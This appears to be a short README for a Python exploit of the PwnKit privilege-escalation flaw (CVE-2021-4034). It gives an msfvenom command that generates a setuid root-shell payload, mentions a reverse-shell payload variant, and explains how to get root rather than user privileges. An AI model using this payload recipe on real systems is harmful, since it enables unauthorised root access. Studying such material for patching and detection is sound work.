Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.
The default payload starts a shell as root, generated from msfvenom:
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.
The code is cribbed from blasty, the orginal is available here
